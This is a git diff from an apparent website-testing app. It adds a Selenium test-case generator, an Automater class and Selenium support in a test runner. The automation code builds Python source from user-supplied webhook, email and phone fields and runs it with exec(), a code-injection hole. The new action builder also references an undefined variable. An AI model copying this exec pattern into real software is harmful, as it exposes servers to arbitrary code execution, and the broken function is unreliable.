textareas = form.find_elements(By.TAG_NAME, "textarea") + # iterate through each input + for i in textareas: + + if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i): + # get input data + input_selector = self.driver.execute_script(self.selector_script, i) + placeholder = i.get_attribute('placeholder') + type = str(i.get_attribute('type')) + img = self.get_element_image(element=i) + relative_url = self.get_relative_url(self.driver.current_url) + + sub_elements.append({ + 'selector': input_selector, + 'elem_type': i.tag_name, + 'placeholder': placeholder, + 'value': None, + 'type': type, + 'data': self.input_types['textarea']['test_data'], + 'action': self.input_types['textarea']['action'], + 'path': relative_url, + 'img': img, + 'elements': None, + }) + + + # get all iframes elements in form + iframes = form.find_elements(By.TAG_NAME, "iframe") + # iterate through iframes and save data + for iframe in iframes: + + # get iframe data + iframe_selector = self.driver.execute_script(self.selector_script, iframe) + iframe_img = self.get_element_image(element=iframe) + relative_url = self.get_relative_url(self.driver.current_url) + + # get all inputs for iframe + iframe_inputs = iframe.find_elements(By.TAG_NAME, "input") + + # iterate through each input + iframe_elements = [] + for i in iframe_inputs: + + if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i): + # get input data + input_selector = self.driver.execute_script(self.selector_script, i) + placeholder = i.get_attribute('placeholder') + value = i.get_attribute('value') + type = str(i.get_attribute('type')) + img = self.get_element_image(element=i) + relative_url = self.get_relative_url(self.driver.current_url) + + # save internal iframe data + iframe_elements.append({ + 'selector': input_selector, + 'elem_type': i.tag_name, + 'placeholder': placeholder, + 'value': value, + 'type': type, + 'data': self.input_types[type]['test_data'], + 'action': self.input_types[type]['action'], + 'path': relative_url, + 'img': img, + 'elements': None, + }) + + # save sub elem data + sub_elements.append({ + 'selector': iframe_selector, + 'elem_type': iframe.tag_name, + 'placeholder': None, + 'value': None, + 'type': None, + 'data': None, + 'action': 'switch_to_frame', + 'path': relative_url, + 'img': iframe_img, + 'elements': iframe_elements, + }) + + + # get all button elements in form + btns = form.find_elements(By.TAG_NAME, "button") + # iterate through each btn + for btn in btns: + + if self.is_element_visible(btn): + # get button data + btn_selector = self.driver.execute_script(self.selector_script, btn) + type = str(btn.get_attribute('type')) + btn_img = self.get_element_image(element=btn) + relative_url = self.get_relative_url(self.driver.current_url) + + sub_elements.append({ + 'selector': btn_selector, + 'elem_type': 'button', + 'placeholder': None, + 'value': None, + 'type': type, + 'data': None, + 'elements': None, + 'action': 'click', + 'path': relative_url, + 'img': btn_img, + 'elements': None, + }) + + # save elem data + elements.append({ + 'selector': form_selector, + 'elem_type': 'form', + 'elem_text': elem_text, + 'value': None, + 'type': None, + 'data': None, + 'action': None, + 'path': relative_url, + 'img': form_img, + 'elements': sub_elements, + + }) + + # return elements array + return elements + + + + + def get_elements(self) -> list: + + # get site page + if self.start_url is not None: + self.driver.get(self.start_url) + if self.start_url is None: + self.driver.get(self.site.site_url) + start_page = self.driver.current_url + + # record all forms and sub_elements on page + self.elements = self.record_forms(elements=self.elements) + + # grab all buttons + buttons = self.driver.find_elements(By.TAG_NAME, "button") + + # grab all links + links = self.driver.find_elements(By.TAG_NAME, "a") + + # combine buttons and links + start_elms = buttons + links + + # clean start element + cleaned_start_elems = self.get_clean_elements(start_elms) + + # sorting start_elems + sorted_elements = self.get_priority_elements( + elements=cleaned_start_elems, + ) + priority_elements = sorted_elements['priority_elements'] + non_priority_elements = sorted_elements['non_priority_elements'] + + # ending early if not enough elements to generate with + if len(priority_elements) <= 1 and len(non_priority_elements) <= 1: + return self.elements + + # choosing random priority element + if len(priority_elements) > 0: + choosen = priority_elements[ + random.randint(0, (len(priority_elements) - 1)) if len(priority_elements) > 1 else 0 + ] + self.final_start_elements.append( + self.driver.execute_script(self.selector_script, choosen) + ) + + # adding random elements to self.final_start_elements[] + # until max_cases" is reached + iterations = 0 + while (len(self.final_start_elements) + len(self.elements)) < self.max_cases and iterations < (5 * self.max_cases): + + # random choice + choosen = non_priority_elements[ + random.randint(0, (len(non_priority_elements) - 1)) if len(non_priority_elements) > 1 else 0 + ] + + # checking if chosen element is visible + if not self.is_element_visible(choosen): + iterations += 1 + continue + + # check if element exists in self.final_start_elements[] + selector = self.driver.execute_script(self.selector_script, choosen) + if selector in self.final_start_elements: + iterations += 1 + continue + + # ensuring link is local to site + if choosen.tag_name == 'a': + link_text = choosen.get_attribute('href') + if link_text.startswith(self.get_url_root(start_page)): + self.final_start_elements.append(selector) + + # adding if button + if choosen.tag_name == 'button': + self.final_start_elements.append(selector) + + # forcing loop to quit if not enough cases are created + iterations += 1 + + + # begin elem iteration + iterations = 0 + for selector in self.final_start_elements: + + # ensuring we're at start_page + if self.driver.current_url != start_page: + self.driver.get(start_page) + driver_wait( + driver=self.driver, + interval=self.configs.get('interval'), + max_wait_time=self.configs.get('max_wait_time'), + min_wait_time=self.configs.get('min_wait_time'), + ) + + # getting element by selector + try: + element = self.driver.find_element(By.CSS_SELECTOR, selector) + except Exception as e: + print('Element not Reachable, removing') + self.final_start_elements.remove(selector) + iterations += 1 + continue + + # get element info + element_img = self.get_element_image(element=element) + element_type = element.tag_name + elem_relative_url = self.get_relative_url(self.driver.current_url) + elem_text = self.get_elem_text(selector=selector) + + print(f'working on this start element -> {selector}') + + # get all current elements and url before action + old_elements = self.get_current_elements() + previous_url = self.driver.current_url + + # perform first action + try: + element.click() + except Exception as e: + print('Element not Clickable, removing') + self.final_start_elements.remove(selector) + continue + + + # begin layering (max_layers) + layers = 0 + run = True + sub_elements = [] + while layers < self.max_layers and run: + + print(f'on layer -> {layers}') + + # driver wait + driver_wait( + driver=self.driver, + interval=self.configs.get('interval'), + max_wait_time=self.configs.get('max_wait_time'), + min_wait_time=self.configs.get('min_wait_time'), + ) + + # check current page + if self.driver.current_url == previous_url: + + # check for new element + new_elements = self.get_current_elements() + + # cleaning new elements + cleaned_elements = self.get_clean_elements(new_elements, check_against=sub_elements) + + # iterating through each elem + recorded_element = False + for elem in cleaned_elements: + + # record element and increment if necessary + data = self.record_new_element(elem, sub_elements) + run = data['run'] + layers += 1 if data['added'] else 0 + sub_elements = data['sub_elements'] + recorded_element = data['added'] + + # add to layers + if not recorded_element: + layers += 1 + + + # check if page is different but still on site + elif self.driver.current_url != previous_url and \ + self.driver.current_url.startswith(self.get_url_root(previous_url)): + + # get new elements and randomly choose 1 (with priority) + new_elements = self.get_current_elements() + + # cleaning new elements + cleaned_elements = self.get_clean_elements(new_elements, check_against=sub_elements) + + # sort new elements + sorted_elements = self.get_priority_elements( + elements=cleaned_elements, + ) + priority_elements = sorted_elements['priority_elements'] + non_priority_elements = sorted_elements['non_priority_elements'] + elem = None + + # choosing random priority elememt + if len(priority_elements) > 0: + elem = priority_elements[ + random.randint(0, (len(priority_elements) - 1)) if len(priority_elements) > 1 else 0 + ] + print(f'chose priority element | type -> {elem.tag_name}') + + # choosing a random non-priority element + elif len(non_priority_elements) > 0: + elem = non_priority_elements[ + random.randint(0, (len(non_priority_elements) - 1)) if len(non_priority_elements) > 1 else 0 + ] + print(f'chose non-priority element | type -> {elem.tag_name}') + + # returning early if no elem selected + if not elem: + print('no element was selected') + # add to layers and ending case + layers += 1 + run = False + break + + # record element and increment if necessary + data = self.record_new_element(elem, sub_elements) + run = data['run'] + layers += 1 if data['added'] else 0 + sub_elements = data['sub_elements'] + + # catching all other situations + # naving back to previous_url + if not data['added']: + print('no coditions were met') + # add to layers + layers += 1 + # going back + self.driver.get(previous_url) + + # catching all other situations + # naving back to previous_url + else: + print('no coditions were met') + # add to layers + layers += 1 + # going back + self.driver.get(previous_url) + + + # adding final info to elememt list + self.elements.append({ + 'selector': selector, + 'elem_type': element_type, + 'elem_text': elem_text, + 'placeholder': None, + 'value': None, + 'type': None, + 'data': None, + 'action': 'click', + 'path': elem_relative_url, + 'img': element_img, + 'elements': sub_elements, + }) + + # counting for process + iterations += 1 + + # update process + self.update_process(current=iterations, total=len(self.final_start_elements)) + + # quit driver session + quit_driver(self.driver) + + # return elements + return self.elements + + + + + def build_cases(self) -> None: + + # run get_elements + elements = self.get_elements() + + # get/decide on value for element + def get_elem_value(element): + if element['value'] == None or len(element['value']) <= 0: + return element['data'] + else: + return element['value'] + + # for each high-level element, + # build a new `Case` and save "steps" + # as .json file uploaded to S3 + for element in elements: + + # defining "steps" + steps = [] + + # adding firt step, which is naving + # to the the starting element's 'path' + steps.append({ + "action":{ + "key": "", + "path": element['path'], + "type": "navigate", + "value": "", + "element": "" + }, + "assertion":{ + "type": "", + "value": "", + "element": "" + } + }) + + # adding second step if starting + # element is not a form + if element['elem_type'] != 'form': + steps.append({ + "action":{ + "key": "", + "path": element['path'], + "type": element['action'], + "value": get_elem_value(element), + "element": element['selector'], + "img": element['img'] + }, + "assertion":{ + "type": "", + "value": "", + "element": "" + } + }) + + + # sub_element mapping using recursion + def sub_element_mapping(elements, steps): + if element['elements'] != None: + for elem in elements: + # add step + if elem['action'] is not None: + steps.append({ + "action":{ + "key": "", + "path": elem['path'], + "type": elem['action'], + "value": get_elem_value(elem), + "element": elem['selector'], + "img": elem['img'] + }, + "assertion":{ + "type": "", + "value": "", + "element": "" + } + }) + + # check if sub_elements exists + if elem['elements'] != None: + sub_element_mapping(elem['elements'], steps) + + # return mapped sub_elements in steps + return steps + + + # add sub_elements to steps + steps = sub_element_mapping(element['elements'], steps) + + # create .json file for steps and upload to s3 + case_id = uuid.uuid4() + + # saving as json file temporarily + with open(f'{case_id}.json', 'w') as fp: + json.dump(steps, fp) + + # seting up paths + steps_file = os.path.join(settings.BASE_DIR, f'{case_id}.json') + remote_path = f'static/cases/{case_id}.json' + root_path = settings.AWS_S3_URL_PATH + steps_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(steps_file, 'rb') as data: + self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"} + ) + + # remove local copy + os.remove(steps_file) + + # save new Case + Case.objects.create( + id = case_id, + site = self.site, + site_url = self.site.site_url, + user = self.site.user, + account = self.site.account, + name = element['elem_text'] if len(element['elem_text']) > 0 else f'Case {str(case_id)[0:5]}', + type = "generated", + steps = { + 'url': steps_url, + 'num_steps': len(steps) + }, + ) + + # update process + self.update_process(current=1, total=1, complete=True) + + + return None + + + + diff --git a/app/api/utils/automater.py b/app/api/utils/automater.py new file mode 100644 index 00000000..b53a7dd2 --- /dev/null +++ b/app/api/utils/automater.py @@ -0,0 +1,312 @@ +from ..models import * +from .alerts import * +import re, uuid + + + + + + +class Automater(): + """ + Build and execute `Automation` logic generated by a user. + + Expects: { + 'automation_id' : str, + 'object_id' : str + } + + Use `Automater.run_automation()` to run an `Automation` + + Returns -> None + """ + + + def __init__(self, automation_id: str=None, object_id: str=None): + + self.automation = Automation.objects.get(id=automation_id) + self.object_id = object_id + self.exp_list = [] + self.act_list = [] + self.object = None + self.use_exp = True + + + + + def get_object(self) -> bool: + """ + Tries to get the focus object from self.object - if found + will set self.object and self.use_exp + + Returns -> bool + """ + + if self.automation.schedule.task_type == 'scan': + try: + self.object = Scan.objects.get(id=self.object_id) + except: + return False + + elif self.automation.schedule.task_type == 'test': + try: + self.object = Test.objects.get(id=self.object_id) + except: + return False + + elif self.automation.schedule.task_type == 'report': + try: + self.object = Report.objects.get(id=self.object_id) + self.use_exp = False + except: + return False + + elif self.automation.schedule.task_type == 'testcase': + try: + self.object = Testcase.objects.get(id=self.object_id) + self.use_exp = True + except: + return False + + else: + return False + + + + + def build_exp_list(self) -> None: + """ + Loop through the automation.expressions + and rebuilds into self.exp_list + + Returns -> None + """ + + # begin iteration + for expression in self.automation.expressions: + + # set defaults + exp = None + data_type = None + operator = ' == ' + joiner = '' + data_type = 'self.object.passed' + value = str(expression['value']) + + # getting data + if self.object == None: + + # get comparison value + value = str(float(re.search(r'\d+', str(expression['value'])).group())) + + # get operator + if '>=' in expression['operator']: + operator = ' >= ' + else: + operator = ' <= ' + + # get joiner + if 'and' in expression['joiner']: + joiner = ' and ' + elif 'or' in expression['joiner']: + joiner = ' or ' + else: + joiner = '' + + + # high-level test data + if 'test_score' in expression['data_type']: + data_type = 'float(self.object.score)' + elif 'current_health' in expression['data_type']: + data_type = '((float(self.object.lighthouse_delta["scores"]["current_average"]) + float(self.object.yellowlab_delta["scores"]["current_average"]))/2)' + elif 'avg_image_score' in expression['data_type']: + data_type = 'float(self.object.images_delta["average_score"])' + elif 'image_scores' in expression['data_type']: + data_type = '[i["score"] for i in self.object.images_delta["images"]]' + exp = f'{joiner}any(i{operator}{value} for i in {data_type})' + + # high-level scan data + elif 'health' in expression['data_type']: + data_type = '((float(self.object.lighthouse["scores"]["average"]) + float(self.object.yellowlab["scores"]["globalScore"]))/2)' + elif 'logs' in expression['data_type']: + data_type = 'len(self.object.logs)' + + # LH test data + elif 'current_lighthouse_average' in expression['data_type']: + data_type = 'float(self.object.lighthouse_delta["scores"]["current_average"])' + elif 'seo_delta' in expression['data_type']: + data_type = 'float(self.object.lighthouse_delta["scores"]["seo_delta"])' + elif 'pwa_delta' in expression['data_type']: + data_type = 'float(self.object.lighthouse_delta["scores"]["pwa_delta"])' + elif 'crux_delta' in expression['data_type']: + data_type = 'float(self.object.lighthouse_delta["scores"]["crux_delta"])' + elif 'best_practices_delta' in expression['data_type']: + data_type = 'float(self.object.lighthouse_delta["scores"]["best_practices_delta"])' + elif 'performance_delta' in expression['data_type']: + data_type = 'float(self.object.lighthouse_delta["scores"]["performance_delta"])' + elif 'accessibility_delta' in expression['data_type']: + data_type = 'float(self.object.lighthouse_delta["scores"]["accessibility_delta"])' + + # LH scan data + elif 'lighthouse_average' in expression['data_type']: + data_type = 'float(self.object.lighthouse["scores"]["average"])' + elif 'seo' in expression['data_type']: + data_type = 'float(self.object.lighthouse["scores"]["seo"])' + elif 'pwa' in expression['data_type']: + data_type = 'float(self.object.lighthouse["scores"]["pwa"])' + elif 'crux' in expression['data_type']: + data_type = 'float(self.object.lighthouse["scores"]["crux"])' + elif 'best_practices' in expression['data_type']: + data_type = 'float(self.object.lighthouse["scores"]["best_practices"])' + elif 'performance' in expression['data_type']: + data_type = 'float(self.object.lighthouse["scores"]["performance"])' + elif 'accessibility' in expression['data_type']: + data_type = 'float(self.object.lighthouse["scores"]["accessibility"])' + + # YL test data + elif 'current_yellowlab_average' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"]["current_average"])' + elif 'pageWeight_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"]["pageWeight_delta"])' + elif 'images_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"]["images_delta"])' + elif 'domComplexity_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"]["domComplexity_delta"])' + elif 'javascriptComplexity_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"]["javascriptComplexity_delta"])' + elif 'badJavascript_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"]["badJavascript_delta"])' + elif 'jQuery_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"]["jQuery_delta"])' + elif 'cssComplexity_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"]["cssComplexity_delta"])' + elif 'badCSS_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"]["badCSS_delta"])' + elif 'fonts_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"]["fonts_delta"])' + elif 'serverConfig_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"]["serverConfig_delta"])' + + # LH scan data + elif 'yellowlab_average' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"]["globalScore"])' + elif 'pageWeight' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"]["pageWeight"])' + elif 'images' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"]["images"])' + elif 'domComplexity' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"]["domComplexity"])' + elif 'javascriptComplexity' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"]["javascriptComplexity"])' + elif 'badJavascript' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"]["badJavascript"])' + elif 'jQuery' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"]["jQuery"])' + elif 'cssComplexity' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"]["cssComplexity"])' + elif 'badCSS' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"]["badCSS"])' + elif 'fonts' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"]["fonts"])' + elif 'serverConfig' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"]["serverConfig"])' + + # building exp if not defiined + if exp is None: + exp = f'{joiner}{data_type}{operator}{value}' + + # adding exp to exp_list + self.exp_list.append(exp) + + return None + + + + + def build_act_list(self) -> None: + """ + Loop through the automation.actions + and rebuilds into self.act_list + + Returns -> None + """ + + # begin iteration + for action in self.automation.actions: + + if 'slack' in action['action_type']: + action_type = f"\n print('sending slack alert')\ + \n automation_slack(automation_id='{str(self.automation.id)}', \ + object_id='{str(self.object_id)}')" + + if 'webhook' in action['action_type']: + action_type = f"\n print('sending webhook alert')\ + \n automation_webhook(request_type='{action['request']}', \ + request_url='{action['url']}', request_data='{action['json']}', \ + automation_id='{str(self.automation.id)}', \ + object_id='{str(self.object_id)}')" + + if 'email' in action['action_type']: + action_type = f"\n print('sending email alert')\ + \n automation_email(email='{action['email']}',\ + automation_id='{str(self.automation.id)}', \ + object_id='{str(self.object_id)}')" + + if type(self.object).__name__ == 'Report': + action_type = f"\n print('sending report email')\ + \n automation_report_email(email='{action['email']}',\ + automation_id='{str(self.automation.id)}', \ + object_id='{str(self.object_id)}')" + + if 'phone' in action['action_type']: + action_type = f"\n print('sending phone alert')\ + \n automation_phone(phone_number='{action['phone']}', \ + automation_id='{str(self.automation.id)}', \ + object_id='{str(self.object_id)}')" + + # adding action to act_list + self.act_list.append(act) + + + + + def run_automation(self) -> None: + + # get object data + proceed = self.get_object() + + # setting default + exp_string = '1 == 1' + + # if obj was retrieved + if proceed: + + # build expression if self.use_exp + if self.use_exp: + self.build_exp_list() + exp_string = ' '.join(self.exp_list) + + # build action list + self.build_act_list() + act_string = ''.join(self.act_list) + + # building final exec str + automation_logic = f'if {exp_string}:{act_string}' + print(automation_logic) + + # executing automation logic + exec(automation_logic) + + return None + + + + + + + + + + + + \ No newline at end of file diff --git a/app/api/utils/automations.py b/app/api/utils/automations.py deleted file mode 100644 index ea7be1b9..00000000 --- a/app/api/utils/automations.py +++ /dev/null @@ -1,242 +0,0 @@ -from ..models import * -from .alerts import * -import re, uuid - - - -def automation(automation_id, object_id): - automation = Automation.objects.get(id=automation_id) - schedule = automation.schedule - expressions = automation.expressions - exp_list = [] - actions = automation.actions - act_list = [] - scan = None - test = None - report = None - testcase = None - use_exp = True - - if schedule.task_type == 'scan': - try: - scan = Scan.objects.get(id=object_id) - except: - return False - - elif schedule.task_type == 'test': - try: - test = Test.objects.get(id=object_id) - except: - return False - - elif schedule.task_type == 'report': - try: - report = Report.objects.get(id=object_id) - use_exp = False - except: - return False - elif schedule.task_type == 'testcase': - try: - testcase = Testcase.objects.get(id=object_id) - use_exp = True - except: - return False - else: - return False - - - - - if use_exp: - - for expression in expressions: - - exp = None - data_type = None - - if testcase == None: - value = str(float(re.search(r'\d+', str(expression['value'])).group())) - - if '>=' in expression['operator']: - operator = ' >= ' - else: - operator = ' <= ' - - if 'and' in expression['joiner']: - joiner = ' and ' - elif 'or' in expression['joiner']: - joiner = ' or ' - else: - joiner = '' - - if testcase != None: - operator = ' == ' - joiner = '' - data_type = 'testcase.passed' - value = str(expression['value']) - - - if 'test_score' in expression['data_type']: - data_type = 'float(test.score)' - - # lighthouse test data - elif 'current_lighthouse_average' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["scores"]["current_average"])' - elif 'seo_delta' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["scores"]["seo_delta"])' - elif 'pwa_delta' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["scores"]["pwa_delta"])' - elif 'crux_delta' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["scores"]["crux_delta"])' - elif 'best_practices_delta' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["scores"]["best_practices_delta"])' - elif 'performance_delta' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["scores"]["performance_delta"])' - elif 'accessibility_delta' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["scores"]["accessibility_delta"])' - # lighthouse scan data - elif 'lighthouse_average' in expression['data_type']: - data_type = 'float(scan.lighthouse["scores"]["average"])' - elif 'seo' in expression['data_type']: - data_type = 'float(scan.lighthouse["scores"]["seo"])' - elif 'pwa' in expression['data_type']: - data_type = 'float(scan.lighthouse["scores"]["pwa"])' - elif 'crux' in expression['data_type']: - data_type = 'float(scan.lighthouse["scores"]["crux"])' - elif 'best_practices' in expression['data_type']: - data_type = 'float(scan.lighthouse["scores"]["best_practices"])' - elif 'performance' in expression['data_type']: - data_type = 'float(scan.lighthouse["scores"]["performance"])' - elif 'accessibility' in expression['data_type']: - data_type = 'float(scan.lighthouse["scores"]["accessibility"])' - - # yellowlab test data - elif 'current_yellowlab_average' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["current_average"])' - elif 'pageWeight_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["pageWeight_delta"])' - elif 'requests_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["requests_delta"])' - elif 'domComplexity_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["domComplexity_delta"])' - elif 'javascriptComplexity_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["javascriptComplexity_delta"])' - elif 'badJavascript_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["badJavascript_delta"])' - elif 'jQuery_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["jQuery_delta"])' - elif 'cssComplexity_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["cssComplexity_delta"])' - elif 'badCSS_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["badCSS_delta"])' - elif 'fonts_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["fonts_delta"])' - elif 'serverConfig_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["serverConfig_delta"])' - # yellowlab scan data - elif 'yellowlab_average' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["globalScore"])' - elif 'pageWeight' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["pageWeight"])' - elif 'requests' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["requests"])' - elif 'domComplexity' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["domComplexity"])' - elif 'javascriptComplexity' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["javascriptComplexity"])' - elif 'badJavascript' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["badJavascript"])' - elif 'jQuery' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["jQuery"])' - elif 'cssComplexity' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["cssComplexity"])' - elif 'badCSS' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["badCSS"])' - elif 'fonts' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["fonts"])' - elif 'serverConfig' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["serverConfig"])' - - - elif 'logs' in expression['data_type']: - data_type = 'len(scan.logs)' - - elif 'current_health' in expression['data_type']: - data_type = '((float(test.lighthouse_delta["scores"]["current_average"]) + float(test.yellowlab_delta["scores"]["current_average"]))/2)' - - elif 'health' in expression['data_type']: - data_type = '((float(scan.lighthouse["scores"]["average"]) + float(scan.yellowlab["scores"]["globalScore"]))/2)' - - elif 'avg_image_score' in expression['data_type']: - data_type = 'float(test.images_delta["average_score"])' - - elif 'image_scores' in expression['data_type']: - data_type = '[i["score"] for i in test.images_delta["images"]]' - exp = f'{joiner}any(i{operator}{value} for i in {data_type})' - - if exp is None: - exp = f'{joiner}{data_type}{operator}{value}' - - exp_list.append(exp) - - - - for action in actions: - - if 'slack' in action['action_type']: - action_type = f"\n print('sending slack alert')\ - \n automation_slack(automation_id='{str(automation.id)}', \ - object_id='{str(object_id)}')" - - if 'webhook' in action['action_type']: - action_type = f"\n print('sending webhook alert')\ - \n automation_webhook(request_type='{action['request']}', \ - request_url='{action['url']}', request_data='{action['json']}', \ - automation_id='{str(automation.id)}', \ - object_id='{str(object_id)}')" - - if 'email' in action['action_type']: - action_type = f"\n print('sending email alert')\ - \n automation_email(email='{action['email']}',\ - automation_id='{str(automation.id)}', \ - object_id='{str(object_id)}')" - - if report: - action_type = f"\n print('sending report email')\ - \n automation_report_email(email='{action['email']}',\ - automation_id='{str(automation.id)}', \ - object_id='{str(object_id)}')" - - if 'phone' in action['action_type']: - action_type = f"\n print('sending phone alert')\ - \n automation_phone(phone_number='{action['phone']}', \ - automation_id='{str(automation.id)}', \ - object_id='{str(object_id)}')" - - act = f'{action_type}' - act_list.append(act) - - - exp_string = ' '.join(exp_list) - act_string = ''.join(act_list) - - if not use_exp: - exp_string = '1 == 1' - - automation_logic = f'if {exp_string}:{act_string}' - print(automation_logic) - exec(automation_logic) - - return True - - - - - - - - - - - - \ No newline at end of file diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py index 54f2d814..c7de3b42 100644 --- a/app/api/utils/caser.py +++ b/app/api/utils/caser.py @@ -1,5 +1,9 @@ -from .driver_p import driver_init -import time, asyncio, uuid, json, boto3, os +from .driver_p import driver_init as driver_p_init +from .driver_s import driver_init as driver_s_init +from .driver_s import driver_wait, quit_driver +import time, uuid, json, boto3, os +from selenium.webdriver.common.by import By +from selenium.webdriver.common.keys import Keys from ..models import * from datetime import datetime from asgiref.sync import sync_to_async @@ -9,23 +13,104 @@ + class Caser(): + """ + Run a `Testcase` for a specific `Site`. + + Expects: { + 'testcase' : object, + } + + - Use `Caser.run_s()` to run with selenium + - Use `Caser.run_p()` to run with puppeteer + + Returns -> None + """ + - def __init__(self, testcase): + + def __init__(self, testcase: object=None): self.testcase = testcase self.site_url = self.testcase.site.site_url self.steps = self.testcase.steps self.case_name = self.testcase.case.name self.configs = self.testcase.configs + self.s_keys = { + '+': Keys.ADD, + 'Alt': Keys.ALT, + 'ArrowDown': Keys.ARROW_DOWN, + 'ArrowLeft': Keys.ARROW_LEFT, + 'ArrowRight': Keys.ARROW_RIGHT, + 'ArrowUp': Keys.ARROW_UP, + 'Backspace': Keys.BACKSPACE, + 'Control': Keys.CONTROL, + '.': Keys.DECIMAL, + 'Delete': Keys.DELETE, + '/': Keys.DIVIDE, + 'Enter': Keys.ENTER, + '=': Keys.EQUALS, + 'Escape': Keys.ESCAPE, + 'Meta': Keys.META, + '*': Keys.MULTIPLY, + '0': Keys.NUMPAD0, + '1': Keys.NUMPAD1, + '2': Keys.NUMPAD2, + '3': Keys.NUMPAD3, + '4': Keys.NUMPAD4, + '5': Keys.NUMPAD5, + '6': Keys.NUMPAD6, + '7': Keys.NUMPAD7, + '8': Keys.NUMPAD8, + '9': Keys.NUMPAD9, + ';': Keys.SEMICOLON, + 'Shift': Keys.SHIFT, + 'Space': Keys.SPACE, + '-': Keys.SUBTRACT, + 'Tab': Keys.TAB + } + @sync_to_async def update_testcase( - self, index=None, type=None, start_time=None, end_time=None, - passed=None, exception=None, time_completed=None, image=None, - ): + self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, + passed: bool=None, exception: str=None, time_completed: str=None, image: str=None, + ) -> None: + # updates Tescase for a puppeteer run (async) + if start_time != None: + self.testcase.steps[index][type]['time_created'] = str(start_time) + if end_time != None: + self.testcase.steps[index][type]['time_completed'] = str(end_time) + if passed != None: + self.testcase.steps[index][type]['passed'] = passed + if exception != None: + self.testcase.steps[index][type]['exception'] = str(exception) + if image != None: + self.testcase.steps[index][type]['image'] = str(image) + if time_completed != None: + self.testcase.time_completed = time_completed + test_status = True + for step in self.testcase.steps: + if step['action']['passed'] == False: + test_status = False + if step['assertion']['passed'] == False: + test_status = False + self.testcase.passed = test_status + + self.testcase.save() + return None + + + + + def update_testcase_s( + self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, + passed: bool=None, exception: str=None, time_completed: str=None, image: str=None, + ) -> None: + # updates Tescase for a selenium run (async) if start_time != None: self.testcase.steps[index][type]['time_created'] = str(start_time) if end_time != None: @@ -49,21 +134,30 @@ def update_testcase( self.testcase.save() return + + + @sync_to_async def format_element(self, element): elememt = json.dumps(element).rstrip('"').lstrip('"') - return element + return str(element) + + + + + def format_element_s(self, element): + elememt = json.dumps(element).rstrip('"').lstrip('"') + return str(element) - async def save_screenshot(self, page): + async def save_screenshot(self, page: object=None) -> str: ''' Grabs & uploads a screenshot of the `page` passed in the params. Returns -> `image_url` - ''' # setup boto3 configurations @@ -95,19 +189,312 @@ async def save_screenshot(self, page): os.remove(image) # returning image url - return image_url + return image_url + + + def save_screenshot_s(self) -> str: + ''' + Grabs & uploads a screenshot of the `page` + passed in the params. + + Returns -> `image_url` + ''' + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # setting id for image + pic_id = uuid.uuid4() + + # get screenshot + self.driver.save_screenshot(f'{pic_id}.png') + + # seting up paths + 